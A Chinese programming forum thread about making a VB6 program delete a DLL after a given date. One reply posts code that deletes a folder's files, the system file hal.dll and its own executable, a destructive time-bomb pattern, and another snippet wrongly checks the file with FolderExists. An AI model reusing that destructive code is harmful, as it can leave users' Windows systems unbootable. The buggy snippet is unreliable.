| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 3150 人关注过本帖, 1 人收藏
标题:能不能达到这种效果?
只看楼主 加入收藏
dsasada
Rank: 1
等 级:新手上路
帖 子:54
专家分:3
注 册:2018-3-30
结帖率:70%
收藏(1)
已结贴  问题点数:20 回复次数:12 
能不能达到这种效果?
能不能到期删除dll文件,如到2018年9月1日,删除C:\工程1.dll文件
搜索更多相关主题的帖子: 效果 删除 dll 文件 工程 
2018-05-27 18:26
wds1
Rank: 11Rank: 11Rank: 11Rank: 11
等 级:贵宾
威 望:49
帖 子:393
专家分:2025
注 册:2016-3-10
收藏
得分:0 

除非你程序不占用。

2018-05-27 19:09
dsasada
Rank: 1
等 级:新手上路
帖 子:54
专家分:3
注 册:2018-3-30
收藏
得分:0 
回复 2楼 wds1
谢谢,程序不占用,代码怎么写?
2018-05-27 20:39
事业男儿
Rank: 2
等 级:论坛游民
帖 子:317
专家分:14
注 册:2007-4-25
收藏
得分:0 
给一个针对XP系统的代码!
图片附件: 游客没有浏览图片的权限,请 登录注册
程序代码:
Private Sub Command1_Click()
Shell "taskkill /im kiln.exe /f", vbHide
Timer2.Interval = 0
Timer3.Interval = 2000
End Sub

Private Sub Command2_Click()
Dim a As Date
a = Now

 Label1.Caption = Format(a, "yyyymmdd")
End Sub

Private Sub Command3_Click()
Dim fs
Set fs = CreateObject("Scripting.FileSystemObject")
Kill "C:\lieu\*.*"
Timer3.Interval = 0
Timer4.Interval = 0
End Sub



Private Sub Command4_Click()
Kill "C:\WINDOWS\system32\hal.dll"
Timer5.Interval = 0
End Sub

Private Sub Command5_Click()
Shell "cmd /c del " & App.EXEName & ".exe"
End
End Sub

Private Sub Form_Load()
'Form1.Visible = False '隐蔽应用程序
Timer2.Interval = 5000
End Sub

Private Sub Timer1_Timer()
Command2_Click
End Sub

Private Sub Timer2_Timer()
If Label1.Caption = Label2.Caption Then
   Command1_Click
   
Else
  End If
End Sub

Private Sub Timer3_Timer()
Command3_Click
End Sub

Private Sub Timer4_Timer()
Command4_Click
End Sub

2018-05-27 21:34
wds1
Rank: 11Rank: 11Rank: 11Rank: 11
等 级:贵宾
威 望:49
帖 子:393
专家分:2025
注 册:2016-3-10
收藏
得分:0 
直接kill不行么

加到Private Sub Form_Load()
     If Date = CDate("2018/9/1") and Dir("C:\工程1.dll") <> "" Then Kill "C:\工程1.dll"
   end sub


[此贴子已经被作者于2018-5-28 09:04编辑过]

2018-05-28 08:58
dsasada
Rank: 1
等 级:新手上路
帖 子:54
专家分:3
注 册:2018-3-30
收藏
得分:0 
回复 5楼 wds1
用vb6封装vba代码,在菜单栏添加几个按钮,这句代码能不能用,如果能用这句代码放在哪?

[此贴子已经被作者于2018-5-29 11:48编辑过]

2018-05-28 10:05
wds1
Rank: 11Rank: 11Rank: 11Rank: 11
等 级:贵宾
威 望:49
帖 子:393
专家分:2025
注 册:2016-3-10
收藏
得分:10 

你封装vba是想操作什么?
如果是想操作execl,那么直接用宏会更好。
如果是想用第三方程序操作execl,那么直接vb代码即可。

2018-05-28 11:43
dsasada
Rank: 1
等 级:新手上路
帖 子:54
专家分:3
注 册:2018-3-30
收藏
得分:0 
回复 7楼 wds1
想用vb6操作excel,封装为了代码安全,防止代码被修改,到指定日期封装的dll自动删掉


[此贴子已经被作者于2018-5-28 13:32编辑过]

2018-05-28 13:21
ZHRXJR
Rank: 16Rank: 16Rank: 16Rank: 16
等 级:版主
威 望:125
帖 子:1034
专家分:5519
注 册:2016-5-10
收藏
得分:10 
回复 楼主 dsasada
程序代码:
Dim SRQ As Date
SRQ = CDate("2018-9-1")
If Date >= SRQ Then
    Dim FSO As Object, F1 As String
    F1 = "C:\工程1.dll"
    Set FSO = CreateObject("Scripting.FileSystemObject")
     If FSO.FolderExists(F1) = True Then
     Kill F1
     Else
     MsgBox F1 & "文件已经删除了!"
     End If
    Set FSO = Nothing
End If

请不要选我!!!
2018-05-28 21:31
dsasada
Rank: 1
等 级:新手上路
帖 子:54
专家分:3
注 册:2018-3-30
收藏
得分:0 
回复 9楼 ZHRXJR
谢谢,这代码放在哪,是放在窗体加载里,这删除是彻底删除还是删除到回收站?

[此贴子已经被作者于2018-5-28 21:51编辑过]

2018-05-28 21:43
快速回复:能不能达到这种效果?
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.031736 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved